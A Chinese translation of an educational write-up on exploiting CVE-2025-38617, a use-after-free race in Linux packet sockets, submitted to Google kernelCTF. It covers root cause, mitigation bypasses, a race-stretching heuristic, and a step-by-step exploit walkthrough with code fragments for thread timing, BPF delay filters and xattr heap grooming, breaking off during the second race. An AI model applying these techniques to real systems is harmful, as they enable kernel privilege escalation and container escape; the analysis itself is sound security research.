注:本文翻译自 Calif[1] 的文章《A Race Within A Race: Exploiting CVE-2025-38617 in Linux Packet Sockets》[2],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
利用 Linux 内核中一个存在 20 年之久的漏洞实现完全权限提升与容器逃逸的分步指南,附带一个巧妙的漏洞挖掘启发式方法。
一、引言
CVE-2025-38617 是 Linux 内核数据包套接字子系统中的一个UAF(use-after-free,释放后使用)漏洞,由 packet_set_ring() 和 packet_notifier() 之间的条件竞争导致。该 Bug 自 Linux 2.6.12(2005 年)起便一直存在,在内核版本 6.16 中被修复。它允许一个非特权的本地攻击者——仅需拥有 CAP_NET_RAW 权限(可通过用户命名空间获得)——实现完全的权限提升和容器逃逸。
该漏洞及其利用程序由 Calif[3] 成员 Quang Le 发现并开发,作为 Google kernelCTF[4] 计划的一部分提交。Calif 提供此补充材料,旨在为教育目的提供更多背景信息。
本文分析了该漏洞、漏洞利用程序提交[5] 以及仅有两行的修复补丁。该漏洞利用程序以其精妙复杂而著称:它成功绕过了包括 CONFIG_RANDOM_KMALLOC_CACHES 和 CONFIG_SLAB_VIRTUAL 在内的现代内核缓解机制,通过一个包含四个逐步增强能力的阶段链来构建利用原语,并运用了创造性的时机技术,以确定性的方式赢得两个独立的竞争窗口。
但或许最有趣的部分在于它所展示的漏洞挖掘启发式方法:当一个互斥锁持有者休眠时,从锁释放到下一个关键操作之间的时间窗口变得可预测且可拉伸,从而将原本无法利用的代码序列转变为可靠的竞争条件。
- • 受影响版本:Linux 2.6.12 至 6.15
- • 受影响组件:net/packet/af_packet.c(数据包套接字子系统)
- • 根本原因:导致UAF(use-after-free)的条件竞争
- • 所需权限:
CAP_NET_RAW(可通过非特权用户命名空间获得)
二、背景
2.1 数据包套接字(packet sockets)
Linux 数据包套接字 (AF_PACKET) 提供链路层的网络接口原始访问。像 tcpdump 和 Wireshark 这样的工具正是使用它来捕获网络流量。当一个数据包到达网络接口时,内核会将该数据包的副本,通过已注册协议的钩子(hook)函数,传递给任何“挂钩(hooked)”到该接口的数据包套接字。
数据包套接字的生命周期与网络接口状态紧密相关:
- • 当接口状态变为 UP 时,数据包套接字的协议钩子会被注册,套接字进入
PACKET_SOCK_RUNNING 状态,此时它可以接收数据包。 - • 当接口状态变为 DOWN 时,该钩子会被注销,套接字停止接收数据包。
这些状态转换由 packet_notifier() 函数管理,该函数负责处理 NETDEV_UP 和 NETDEV_DOWN 事件。
2.2 环形缓冲区(Ring Buffers)与 TPACKET_V3
为了支持高性能的数据包处理,数据包套接字使用了内存映射的环形缓冲区(Ring Buffers)。内核不再通过 recvmsg() 系统调用来复制每个数据包,而是将数据包直接写入一个共享内存区域,用户态程序可以通过 mmap() 访问该区域。环形缓冲区通过 setsockopt() 并指定 PACKET_RX_RING(用于接收)或 PACKET_TX_RING(用于传输)选项进行配置,该调用内部会执行 packet_set_ring() 函数。
环形缓冲区由多个“块(blocks)”组成,每个块是一段连续分配的内核内存页。这些块由一个 struct pgv 指针数组进行跟踪管理:
struct pgv {
char *buffer; // pointer to one block of pages
};
alloc_pg_vec() 函数负责分配这个数组以及每个数据块:
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
}
return pg_vec;
}
用户态(userspace)访问环形缓冲区块的方式:mmap()。 当用户态在数据包套接字的文件描述符上调用 mmap() 时,内核的 packet_mmap() 处理函数会遍历 pgv 数组,并将每个块的内存页映射到调用进程的虚拟地址空间中,形成一个单一的连续区域。块 0 的页出现在最前面,接着是块 1 的页,依此类推。最终,用户态获得一个指向某内存区域的指针,该区域的偏移量 0 对应块 0 的起始地址,偏移量为 block_size 处对应块 1 的起始地址,等等。对该内存区域的读写操作将直接作用于支持环形缓冲区的内核页,无需系统调用开销。
这种映射关系基于在 mmap() 调用时pgv[N].buffer 所指向的内容。内核解析每个 pgv 条目,找到其底层的物理页面,并将该页面映射到用户态。这对漏洞利用有一个关键的含义:如果攻击者能够将某个 pgv[N].buffer 指针覆盖为一个任意内核地址,然后调用 mmap(),内核将会把该地址所在的物理页映射到用户态——从而赋予攻击者对任意内核内存的直接读写权限。这正是漏洞利用程序的阶段 2 和阶段 3 如何从一个被破坏的指针逐步升级到完全任意内存页读写的原理。
TPACKET_V3 是数据包套接字环形缓冲区协议的最新版本,它增加了一个块描述符结构体 (tpacket_kbdq_core),用于跟踪当前哪个块处于活跃状态、下一个数据包头应写入何处,以及何时结束(关闭)一个已满的块并切换到下一个。关键字段包括:
- •
pkbdq: 指向 pgv 数组的指针(即环形缓冲区本身) - •
kactive_blk_num: 当前活跃块的索引 - •
nxt_offset: 指向当前块内下一个数据包写入位置的指针 - •
blk_sizeof_priv: 每个块的私有区域大小
每个块的内存布局以 tpacket_block_desc 头部(对齐后占用 48 字节)开始,紧接着是大小为 blk_sizeof_priv 字节的私有区域,之后才是实际的数据包数据区域。私有区域由用户态通过传递给 setsockopt(PACKET_RX_RING) 的 tpacket_req3 结构体中的 tp_sizeof_priv 字段进行配置。内核在每个块的开头预留出这片空间,并且绝不会向其中写入数据包数据——它的存在是为了让用户态应用程序可以存储自己每个块的元数据(例如自定义时间戳或统计信息)。数据包写入游标 (nxt_offset) 被初始化为 block_start + 48 + ALIGN(blk_sizeof_priv, 8),即跳过头部和私有区域。正如我们将要看到的,漏洞利用程序将 tp_sizeof_priv 设置为 16248,以便将写入游标精确地定位到它需要溢出到相邻对象的位置。
当一个数据包到达时,内核会调用 tpacket_rcv(),该函数通过 pkbdq[kactive_blk_num].buffer 查找当前块,找到写入位置 (nxt_offset),然后复制数据包数据并写入元数据头部。正是这个函数会在我们的漏洞中访问已释放的内存。
2.3 扩展属性与 simple_xattr
扩展属性(xattrs)是以名称-值对形式存在的数据,可以附加到文件或目录上,提供超出标准文件属性(如权限、时间戳等)之外的元数据。它们被组织在不同的命名空间中——例如 security.* 用于 SELinux 标签和权能,user.* 用于任意用户数据,trusted.* 用于特权元数据等等。用户态通过三个系统调用与之交互:setxattr() 用于创建或更新,getxattr() 用于读取,以及 removexattr() 用于删除。
大多数文件系统会将扩展属性存储在磁盘上,但像 tmpfs 这样的内存文件系统没有后端磁盘存储。因此,tmpfs 完全使用内核内存并通过 simple_xattr 基础设施来存储扩展属性。每个扩展属性由一个 struct simple_xattr 结构体表示。在 Linux 6.6 版本(漏洞利用程序所针对的版本)中,扩展属性通过红黑树进行组织:
struct rb_node {
unsigned long __rb_parent_color; // parent pointer + color bit
struct rb_node *rb_right;
struct rb_node *rb_left;
}; // 24 bytes
struct simple_xattr {
struct rb_node rb_node; // offset 0, size 24 (tree node pointers)
char *name; // offset 24, size 8
size_t size; // offset 32, size 8 ← overflow target
char value[]; // offset 40 (inline value)
}; // total header: 40 bytes
结构体开头的 rb_node 包含三个指针:__rb_parent_color(父节点指针,其最低位编码了颜色信息)、rb_right 和 rb_left。这些指针指向同一棵红黑树中的其他 simple_xattr 节点。
当用户态对 tmpfs 文件调用 setxattr("security.foo", value, size) 时,内核会分配一个 simple_xattr 结构体,复制名称和值,并将其插入到 inode 的属性集合中。当调用 getxattr() 时,内核会遍历该集合比较名称,一旦找到匹配项,就将从 value[] 起始处开始的 size 字节数据复制到用户态缓冲区。如果用户态缓冲区小于 size,内核会返回 ERANGE 错误——漏洞利用程序利用此行为来检测内存是否被破坏。
simple_xattr 因其以下几个特性而成为理想的利用目标:
- 1. 可控的分配大小。 通过选择合适
value_size,可以将 kmalloc(header + value_size) 的分配引导到任意的 slab 缓存或内存页阶数(order)。例如,当 value_size = 8192 时,总分配大小(40 + 8,192 = 8,232 字节)将由 order-2 的内存页(16 KB)提供服务。 - 2. 可控的内容。
value[] 中的数据完全受攻击者控制,并且属性名称字符串也由攻击者选择。 - 3. 可通过系统调用进行读写。
getxattr() 从 value[] 起始处开始读取 size 字节——如果 size 被篡改为一个更大的值,内核将会读取超出该对象实际数据末尾的范围,从而泄露相邻的堆内存。setxattr() 可以更新其值。removexattr() 则可以释放该对象。 - 4. 通过节点指针泄露地址。
rb_node 指针包含了树中相邻节点的内核地址。如果攻击者能够读取这些指针,他们就能获知其他 simple_xattr 对象的内核地址——这是构建更高级利用原语的起点。 - 5. 可喷射。 在单个 tmpfs 文件上创建数千个扩展属性非常容易——只需在循环中使用不同的名称(如
"security.groom_0"、"security.groom_1"...)调用 setxattr() 即可。漏洞利用程序喷射了 2048 个这样的属性,以可预测的方式填充堆内存。
2.4 Slab 分配器与页面分配器
Linux 内核拥有两层内存分配,理解这两层之间的边界对于理解本漏洞利用至关重要。
页面分配器(page allocator,也称为伙伴分配器)是底层分配器。它以 2 的幂次大小的内存页块来管理物理内存:order-0(4 KB)、order-1(8 KB)、order-2(16 KB),依此类推。每次分配都是页面对齐的。当页面被释放时,同一阶数相邻的空闲页面会合并(成为“伙伴”)成更高阶数的内存块。关键在于,页面分配器没有按类型进行隔离——所有 order-2 的页面都来自同一个空闲链表。一个从 simple_xattr 值释放的 order-2 页面,完全可以被一个同样需要 order-2 大小的 pgv 数组分配重新占用;页面分配器并不知道也不关心这些页面之前被用于什么用途。
Slab 分配器(在现代内核中是 SLUB)位于页面分配器之上。它从伙伴分配器申请内存页,然后将这些页划分为固定大小的槽位,用于存放小对象。它拥有通用的大小类别(如 kmalloc-8、kmalloc-16、... kmalloc-8k),也有针对特定结构体类型的专用缓存。与页面分配器不同,slab 缓存是隔离的——一个释放的 kmalloc-192 槽位会返回到其特定的缓存中,并且只能被另一个 kmalloc-192 的分配请求重新占用。
这个边界正是漏洞利用程序迫使某些分配超过 kmalloc-8k(最大的通用 slab 桶)大小的原因。一个 8,200 字节的 pgv 数组无法放入 kmalloc-8k,因此分配器会回退到页面分配器。在页面分配器这一层,漏洞利用的堆内存布局 grooming 技术可以控制哪些被释放的页面会被重新占用。如果分配停留在 slab 层,被释放的 xattr 页面和 pgv 数组将存在于完全不同的缓存中,彼此之间没有机会互相抢占。
2.5 内核堆内存缓解机制
kernelCTF mitigation-v4-6.6 环境启用了两种现代的堆内存缓解机制,这些机制使得传统的跨缓存攻击变得异常困难。
CONFIG_RANDOM_KMALLOC_CACHES 为每个 kmalloc 大小类别引入了 16 个独立的 slab 缓存(例如:kmalloc-rnd-01-32, kmalloc-rnd-02-32, ... kmalloc-rnd-16-32)。当内核调用 kmalloc() 时,分配请求会根据调用点地址的哈希值(结合每次启动时生成的随机种子)被路由到这 16 个缓存之一。其目标是防止攻击者预测某个分配会落入哪个缓存,从而打破经典的利用模式:从缓存 X 释放对象 A,然后用来自同一个缓存 X 的对象 B 重新占用它。由于 A 和 B 来自不同的调用点,它们很可能会落入不同的随机缓存中,导致抢占失败。
绕过方法:如果两个分配请求来自同一个调用点(即调用 kmalloc/kcalloc 的同一行源代码),无论启动种子是什么,它们总是哈希到同一个随机缓存。漏洞利用程序正是利用了这一点:它使用 alloc_pg_vec()——同一个函数,同一个 kcalloc() 调用点——既用于分配受害者环形缓冲区,也用于分配抢占用的环形缓冲区。两者都是在 alloc_pg_vec() 内部通过 kcalloc(block_nr, sizeof(struct pgv), ...) 分配的 pgv 数组,因此它们保证会落入同一个随机缓存。
CONFIG_SLAB_VIRTUAL(也称为“虚拟 slab”)确保用于一种 slab 缓存类型的虚拟地址范围永远不会被用于另一种不同类型的 slab 缓存。在普通内核中,被释放的 slab 页面可以返回给页面分配器,然后被重新分配给一个完全不同的 slab 缓存,从而允许进行跨缓存攻击。启用 CONFIG_SLAB_VIRTUAL 后,每个缓存获得一个专用的虚拟地址范围——来自 kmalloc-64 的分配将始终映射到 kmalloc-64 的虚拟地址,即使在其被释放并重新分配后也是如此。如果攻击者释放一个 kmalloc-64 对象,并试图用一个 kmalloc-128 对象来抢占它,那么这两个对象的虚拟地址将不会重叠。
绕过方法基于同样的原理:通过使用另一个环形缓冲区(相同的对象类型,相同的 slab 缓存)来抢占已释放的环形缓冲区内存,虚拟地址仍然有效。该漏洞利用程序并不需要跨缓存攻击——它自始至终都使用环形缓冲区来抢占环形缓冲区。
这些缓解机制迫使漏洞利用程序的作者遵循一种严格的模式:每一次抢占都必须使用来自同一个调用点的相同对象类型。正如我们将要看到的,这个约束塑造了整个漏洞利用的架构——从使用 TX 环形缓冲区来抢占 RX 环形缓冲区,到喷射 pgv 数组来抢占其他的 pgv 数组。
三、漏洞分析
3.1 条件置零 Bug
该漏洞的根本原因是 packet_set_ring() 函数中的一个逻辑错误。当重新配置环形缓冲区时,此函数需要临时将数据包套接字从网络接口上解钩,以确保在交换环形缓冲区的过程中没有数据包到达。以下是相关代码片段:
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
// ...
spin_lock(&po->bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po->num;
if (was_running) {
WRITE_ONCE(po->num, 0); // Only zeroed if was_running!
__unregister_prot_hook(sk, false);
}
spin_unlock(&po->bind_lock);
synchronize_net();
mutex_lock(&po->pg_vec_lock);
// ... swap ring buffers, free old ring ...
mutex_unlock(&po->pg_vec_lock);
spin_lock(&po->bind_lock);
if (was_running) {
WRITE_ONCE(po->num, num); // Only restored if was_running!
register_prot_hook(sk);
}
spin_unlock(&po->bind_lock);
}
关键问题在于 if (was_running) 条件语句包裹了对 WRITE_ONCE(po->num, 0) 的调用。po->num 字段决定了套接字所注册的协议号。当其值非零时,packet_notifier() 中的 NETDEV_UP 处理程序会重新注册协议钩子:
case NETDEV_UP:
if (dev->ifindex == po->ifindex) {
spin_lock(&po->bind_lock);
if (po->num) // <-- checks po->num
register_prot_hook(sk); // re-hooks the socket!
spin_unlock(&po->bind_lock);
}
break;
Bug 所在:如果在调用 packet_set_ring() 时,数据包套接字并非处于运行状态(即 was_running 为假),那么 po->num 将保持其原有的非零值。在 spin_unlock(&po->bind_lock) 之后,存在一个时间窗口:此时 packet_set_ring() 已经释放了 bind_lock,但尚未完成环形缓冲区的重新配置。如果在此窗口期间恰好有一个 NETDEV_UP 事件到达,packet_notifier() 会发现 po->num != 0,从而调用 register_prot_hook(),将套接字重新钩挂到网络接口上。这样一来,当 packet_set_ring() 正在执行释放并替换环形缓冲区的过程中,该套接字就有可能接收到数据包。
3.2 竞争窗口与 UAF
漏洞利用程序通过一个双重竞争序列来触发该漏洞:
竞争 1: packet_set_ring() 与 packet_notifier() 之间的竞争
攻击者首先确保数据包套接字已绑定到一个网络接口,但未运行(即接口状态为 DOWN)。然后:
- 1. 调用
packet_set_ring() 以释放现有的 RX 环形缓冲区。 - 2. 在
packet_set_ring() 释放了 bind_lock 之后,但在它获取 pg_vec_lock 之前,将接口状态设置为 UP。 - 3.
packet_notifier() 发现 po->num != 0,因此重新注册协议钩子。 - 4. 此时,尽管
packet_set_ring() 尚未完成,该套接字已变为“运行”状态,并且可以接收数据包。
竞争 2: packet_set_ring() 与 tpacket_rcv() 之间的竞争
协议钩子重新注册后,向该接口发送一个数据包会触发 tpacket_rcv() 函数的调用。此函数会读取环形缓冲区的元数据(prb_bdqc),而此时该元数据仍然指向旧的、即将被释放的环形缓冲区。与此同时,packet_set_ring() 在 pg_vec_lock 保护的临界区内继续执行,并最终释放了同一个环形缓冲区:
mutex_lock(&po->pg_vec_lock);
swap(rb->pg_vec, pg_vec); // pg_vec now holds old ring buffer
// ...
mutex_unlock(&po->pg_vec_lock);
// ...
free_pg_vec(pg_vec, order, req->tp_block_nr); // free the old ring!
如果 tpacket_rcv() 在环形缓冲区已被释放后尝试访问它,就会发生UAF(use-after-free,释放后使用)。TPACKET_V3 的 prb_bdqc 结构体对漏洞利用尤其有用,因为当环形缓冲区被释放时,其中指向环形缓冲区的指针(如 pkbdq、nxt_offset、pkblk_start 等)并不会被清零。尽管被释放的 pg_vec 数组中的各个缓冲区指针已由 free_pg_vec() 设置为 NULL,但 prb_bdqc 中仍然保存着这些陈旧的地址。
四、关键洞察:休眠的互斥锁持有者会拉伸竞争窗口
从这个漏洞利用程序中可以学到的最重要的一点——也是一个可推广到内核安全研究领域的漏洞挖掘启发式方法——是:如果你能让一个互斥锁的持有者休眠,你就可以将任何锁释放与后续锁获取之间的时间窗口拉伸到任意长度。
在 packet_set_ring() 函数中,释放 bind_lock 和获取 pg_vec_lock 之间存在一个关键的时间间隙:
spin_unlock(&po->bind_lock); // Race 1 window opens
synchronize_net();
mutex_lock(&po->pg_vec_lock); // Race 1 window closes
通常情况下,synchronize_net() 会很快完成,随后的 mutex_lock() 也会立即成功,这使得这个窗口非常狭窄。但是,pg_vec_lock 这个互斥锁同样会被 tpacket_snd() 函数获取:
static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
mutex_lock(&po->pg_vec_lock); // holds the mutex
// ...
timeo = wait_for_completion_interruptible_timeout(
&po->skb_completion, timeo); // SLEEPS while holding it!
// ...
mutex_unlock(&po->pg_vec_lock);
}
该漏洞利用程序通过在受害者套接字的 TX 环形缓冲区上调用 sendmsg() 并使其进入 wait_for_completion_interruptible_timeout() 路径,从而预先获取了 pg_vec_lock。这导致该线程在持有互斥锁的情况下,休眠一段可配置的时间(通过 SO_SNDTIMEO 设置)。现在,packet_set_ring() 将在 mutex_lock(&po->pg_vec_lock) 处阻塞一段可预测的、受攻击者控制的时间——在这个案例中,是整整一秒钟。
这便将一个纳秒级别的竞争窗口转变成了一个长达一秒的窗口,使得第一个竞争条件基本上变成了确定性的:攻击者拥有充足的时间将网络接口状态设置为 UP 并注册协议钩子。
这个模式具有普遍性。 在审计内核代码以寻找竞争条件时,可以关注以下几点:
- 1. 是否存在一个序列:先释放锁 A,然后执行一些操作,最后再获取锁 B。
- 2. 是否存在另一个独立的代码路径,它会持有锁 B 并且可以休眠(互斥锁允许休眠;自旋锁则不允许)。
- 3. 是否存在一种方法,可以在竞态代码路径执行之前,触发上述那个可以休眠的代码路径。
如果这三个条件都满足,那么从释放锁 A 到获取锁 B 之间的竞争窗口就可以被任意拉伸。那些因为窗口“足够小”而看似“足够安全”的代码,就会变得极易被利用。
五、漏洞利用程序
该漏洞利用程序的目标是 kernelCTF mitigation-v4-6.6 环境——这是 Google 的 Container-Optimized OS (COS),启用了额外的内核安全缓解机制,运行着 Linux 6.6 内核。它实现了完全的权限提升和容器逃逸。利用程序通过四个阶段构建利用原语,每个阶段都比前一个更强大,最终达到任意内核内存读写和执行 Shellcode 的目的。
5.0 阶段 0: 赢得竞争
5.0.1 第一次竞争:利用互斥锁作为屏障实现确定性
这“第一次竞争”并非传统意义上两个线程竞速、凭借运气取胜的竞争。该漏洞利用程序通过使用一个互斥锁作为屏障,完全消除了随机性,将其转化为一个确定性的执行序列。
5.0.1..1 tpacket_snd() 如何在休眠时持有 pg_vec_lock
漏洞利用程序需要一种方法来在可控的时间内持有 pg_vec_lock 互斥锁。它在内核用于数据包套接字发送路径的 tpacket_snd() 函数中找到了这个方法。相关代码路径如下:
static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
bool need_wait = !(msg->msg_flags & MSG_DONTWAIT); // [1] controllable
mutex_lock(&po->pg_vec_lock); // [2] grab the mutex
// ... validate device is UP, etc ...
do {
ph = packet_current_frame(po, &po->tx_ring, TP_STATUS_SEND_REQUEST);
if (unlikely(ph == NULL)) {
if (need_wait && skb) { // [3] need skb != NULL
timeo = sock_sndtimeo(&po->sk, ...); // from SO_SNDTIMEO
timeo = wait_for_completion_interruptible_timeout(
&po->skb_completion, timeo); // [4] SLEEP here!
if (timeo <= 0) {
err = !timeo ? -ETIMEDOUT : -ERESTARTSYS;
goto out_put;
}
}
continue;
}
skb = NULL;
tp_len = tpacket_parse_header(po, ph, ...); // [5] read from TX ring
if (tp_len < 0) goto tpacket_error;
skb = sock_alloc_send_skb(&po->sk, ...); // [6] after this, skb != NULL
tp_len = tpacket_fill_skb(po, skb, ...); // [7] can force tp_len < 0
if (unlikely(tp_len < 0)) {
tpacket_error:
if (packet_sock_flag(po, PACKET_SOCK_TP_LOSS)) { // [8]
__packet_set_status(po, ph, TP_STATUS_AVAILABLE);
packet_increment_head(&po->tx_ring);
kfree_skb(skb);
continue; // [9] loop again!
}
}
// ...
} while (...);
out:
mutex_unlock(&po->pg_vec_lock); // [10] finally release
}
漏洞利用程序按以下步骤导航此代码路径:
- 1. 调用
sendmsg() 时不带MSG_DONTWAIT 标志,因此 need_wait = true。 - 3. 第一次循环迭代:找到一个待发送的 TX 帧(漏洞利用程序已通过
mmap() 预先写入了 TP_STATUS_SEND_REQUEST 标志)。在 [5] 处,tpacket_parse_header() 从映射的环形缓冲区中读取 tp_len——漏洞利用程序将 tp_len 设置为 1,这个值过小,导致在 [7] 处的 tpacket_fill_skb() 返回一个负错误码。但在此之前,[6] 处的 sock_alloc_send_skb() 已设置skb != NULL。 - 4.
PACKET_SOCK_TP_LOSS 标志已被设置(通过 setsockopt(PACKET_LOSS)),因此我们命中 [8] → [9] 路径,并继续回到循环顶部。 - 5. 第二次循环迭代:没有更多带有
TP_STATUS_SEND_REQUEST 标志的帧,因此 ph == NULL。此时 need_wait == true 且 skb != NULL(来自第一次迭代的分配),所以我们进入 [3] → [4] 路径:wait_for_completion_interruptible_timeout()。该线程在持有 pg_vec_lock 的情况下休眠了 SO_SNDTIMEO 所设置的时长(1 秒钟)。
这里有一个微妙之处:sock_alloc_send_skb() 会检查 sk->sk_err,如果该值被设置,则返回 NULL。当接口状态变为 DOWN 时,packet_notifier() 会将 sk->sk_err 设置为 ENETDOWN。由于漏洞利用程序需要在之后将接口设置为 DOWN 才能触发 bug,因此它必须确保在 tpacket_snd() 运行时接口状态仍然是 UP。执行顺序至关重要。
5.0.1.2 确定性的执行序列
设置:虚拟接口与受害者套接字。 漏洞利用程序在一个用户命名空间(用于获取 CAP_NET_RAW 权能)和一个网络命名空间(用于创建可控的网络环境)内运行。它通过 netlink 创建一个名为 “pwn_dummy” 的虚拟网络接口(使用 RTM_NEWLINK 并将 IFLA_INFO_KIND 设置为 “dummy”),将其 MTU 设置为 IPV6_MIN_MTU - 1(1279 字节),然后通过 ioctl(SIOCSIFFLAGS, IFF_UP | IFF_RUNNING) 将其状态设置为 UP。虚拟接口是理想的选择,因为它是一个纯软件设备——发送到该接口的数据包会立即环回给协议处理程序,因此漏洞利用程序不需要任何真实的硬件或网络流量。
接着,漏洞利用程序创建受害者数据包套接字——一个绑定到此虚拟接口的 AF_PACKET/SOCK_RAW 套接字,其 sll_protocol 设置为 htons(ETH_P_ALL)(接收所有协议类型)。该套接字配置了 TPACKET_V3 环形缓冲区(包括 TX 和 RX)、启用了 PACKET_LOSS、将 SO_SNDTIMEO 设置为 1 秒、PACKET_RESERVE 设置为 38,并附加了一个包含 700 条指令的 BPF 过滤器。RX 环形缓冲区将是竞争期间被释放的对象;TX 环形缓冲区则提供了 tpacket_snd() 休眠技巧所需的帧。此时,受害者套接字处于 UP 状态,并正在主动接收数据包——这正是漏洞利用程序所需的起始状态。
工作线程。 漏洞利用程序创建了三个工作线程:
- •
pg_vec_lock_thread(绑定 CPU 0,nice 值 = 19 —— 最低优先级):负责持有互斥锁。 - •
pg_vec_buffer_thread(绑定 CPU 0,普通优先级):负责运行 packet_set_ring() 以释放环形缓冲区。 - •
tpacket_rcv_thread(绑定 CPU 1):负责发送触发 UAF 的数据包。
在同一 CPU(CPU 0)上,pg_vec_buffer_thread 的优先级高于 pg_vec_lock_thread。这对于第二次竞争的时序控制至关重要。这两个线程都被固定在 CPU 0 上,因此同一时刻只有一个能运行。当 pg_vec_lock_thread 中的 tpacket_snd() 调用 mutex_unlock(&po->pg_vec_lock) 时,CFS(完全公平调度器)——Linux 的默认进程调度器,它会根据优先级按比例分配 CPU 时间——发现被唤醒的 pg_vec_buffer_thread(nice=0)比正在运行的 pg_vec_lock_thread(nice=19,可能的最低优先级)具有更高的优先级,因此会立即抢占pg_vec_lock_thread。这意味着 packet_set_ring() 可以立即恢复执行——它释放旧的环形缓冲区页面,然后同一个线程立即通过 alloc_pages() 重新占用这些页面。这一点至关重要,因为在 CPU 1 上,tpacket_rcv() 被定时器中断冻结了,而且这个冻结有一个有限的持续时间。CPU 0 上的整个释放和重新占用序列,必须在 CPU 1 上的中断返回之前完成。如果 pg_vec_lock_thread 在释放互斥锁后继续运行(在 CPU 0 上花费时间进行无关的清理工作),那么重新占用可能无法及时完成——这会导致空指针解引用崩溃,而不是一个可控的 UAF。
整个编排过程逐步进行:
步骤 1:锁定互斥锁。 主线程向 pg_vec_lock_thread 发送任务,该线程调用 sendmsg() → 进入 tpacket_snd() → 获取 po->pg_vec_lock → 到达 wait_for_completion_interruptible_timeout() → 进入休眠。主线程轮询 /proc/[tid]/stat 直到该线程状态变为 S(休眠),然后通过 clock_gettime(CLOCK_MONOTONIC) 记录 pg_vec_lock_acquire_time。
步骤 2:将接口状态设置为 DOWN。 主线程调用 ioctl(SIOCSIFFLAGS) 将接口状态设置为 DOWN。这会触发 packet_notifier() 处理 NETDEV_DOWN 事件,进而将受害者套接字解钩(设置 PACKET_SOCK_RUNNING = false)。此时套接字不再运行,但 po->num 仍然保持非零值。
步骤 3:触发 packet_set_ring()。 主线程向 pg_vec_buffer_thread 发送任务,该线程调用 setsockopt(PACKET_RX_RING, {tp_block_nr=0})。这会进入 packet_set_ring() 的释放路径:
- •
spin_lock(&po->bind_lock) - •
was_running = false (因为接口是 DOWN 状态) - •
num = po->num (其值为非零——这正是 Bug 所在) - •
if (was_running) 条件为假 → po->num 未被置零 - •
spin_unlock(&po->bind_lock) — 竞争窗口由此打开 - •
synchronize_net() — 短暂等待 - •
mutex_lock(&po->pg_vec_lock) — 此处阻塞,因为 pg_vec_lock_thread 正持有该锁
主线程轮询 /proc/[tid]/stat 直到 pg_vec_buffer_thread 的状态变为休眠。这证实了 packet_set_ring() 已经通过了存在漏洞的 bind_lock 临界区,并且现在正阻塞在互斥锁上。
步骤 4:将接口状态设置为 UP。 主线程调用 ioctl(SIOCSIFFLAGS) 将接口状态设置为 UP。这会触发 packet_notifier() 处理 NETDEV_UP 事件:
第一次竞争获胜。 受害者套接字现在再次钩挂到了接口上——它将能够通过 tpacket_rcv() 接收数据包——但此时 packet_set_ring() 正卡在互斥锁上,等待着释放旧的环形缓冲区。这里并没有真正意义上的竞争;漏洞利用程序在进行下一步之前,已逐一验证了每个状态的转换。
5.0.2 第二次竞争:概率性但通过三种计时机制增强
赢得第一次竞争后,漏洞利用程序已达成以下状态:
- • 受害者套接字 已钩挂到网络接口(通过
tpacket_rcv() 接收数据包) - •
packet_set_ring() 已被冻结,阻塞在由休眠中的 pg_vec_lock_thread 所持有的 po->pg_vec_lock 上 - •
pg_vec_lock_thread 将在恰好 1 秒后唤醒(即 SO_SNDTIMEO 设置的超时时间)
当超时到期,pg_vec_lock_thread 释放互斥锁时,packet_set_ring() 将恢复执行。在 pg_vec_lock 保护的临界区内,它执行两个操作:(1) 将 rb->pg_vec 交换为 NULL,以及 (2) 将协议钩子函数从 tpacket_rcv 更改为 packet_rcv。释放互斥锁后,它会调用 free_pg_vec() 来释放旧的环形缓冲区页面。
正是这个钩子函数的更改使得第二次竞争成为必要。一旦 packet_set_ring() 将钩子切换到 packet_rcv,之后任何到达该套接字的新数据包都将被分派给 packet_rcv() 而非 tpacket_rcv()——而 packet_rcv() 根本不使用环形缓冲区,因此也就不会发生 UAF。漏洞利用程序不能简单地等待环形缓冲区被释放后再发送一个数据包;因为到那时,钩子函数早已被更改。
要让 tpacket_rcv() 访问到已释放的内存,唯一的方法是在钩子函数被更改之前,tpacket_rcv()就已经被分派出去。网络栈在数据包分派时解析钩子函数指针。如果一个数据包被发送到接口,并且在 packet_set_ring() 交换钩子函数之前调用了 tpacket_rcv(),那么无论 packet_set_ring() 之后做什么,tpacket_rcv() 都将继续执行其代码路径——包括访问环形缓冲区。该函数已经在调用栈上了;钩子指针的交换只会影响未来的数据包。
因此,第二次竞争的目标是:让 tpacket_rcv() 在 packet_set_ring() 更改钩子函数 之前 被 分派,并且让 tpacket_rcv() 在 packet_set_ring() 释放了环形缓冲区页面之后再去解引用这些页面。漏洞利用程序将三种独立的计时机制叠加在一起,以精准命中这个窗口。
机制 1:计算后的休眠
漏洞利用程序精确地知道互斥锁何时会被释放:
pg_vec_lock_release_time = pg_vec_lock_acquire_time + sndtimeo // +1 second
tpacket_rcv_thread 接收到这个时间戳,并休眠到刚好在释放之前:
// In tpacket_rcv_thread_fn:
struct timespec sleep_duration = timespec_sub(
remaining_time_before_pg_vec_lock_release,
work->decrease_tpacket_rcv_thread_sleep_time // 5000 ns = 5μs
);
syscall(SYS_nanosleep, &sleep_duration, NULL);
syscall(SYS_sendmsg, trigger_sendmsg_packet_socket, work->msg, 0);
该线程在互斥锁释放前约 5 微秒唤醒,并立即通过 packet_sendmsg_spkt() 发送数据包——选择此函数是因为它拥有从 sendmsg() 到 dev_queue_xmit() 再到协议钩子的最短代码路径。数据包穿越网络栈,最终到达受害者套接字的 tpacket_rcv() 函数。
机制 2:BPF 过滤器延迟
一个包含 700 条指令的经典 BPF 过滤器被附加到受害者套接字上:
struct sock_filter filter[700];
for (int i = 0; i < 699; i++) {
filter[i].code = BPF_LD | BPF_IMM;
filter[i].k = 0xcafebabe; // load immediate — cheap but not free
}
filter[699].code = BPF_RET | BPF_K;
filter[699].k = sizeof(size_t); // return truncated length = 8 bytes
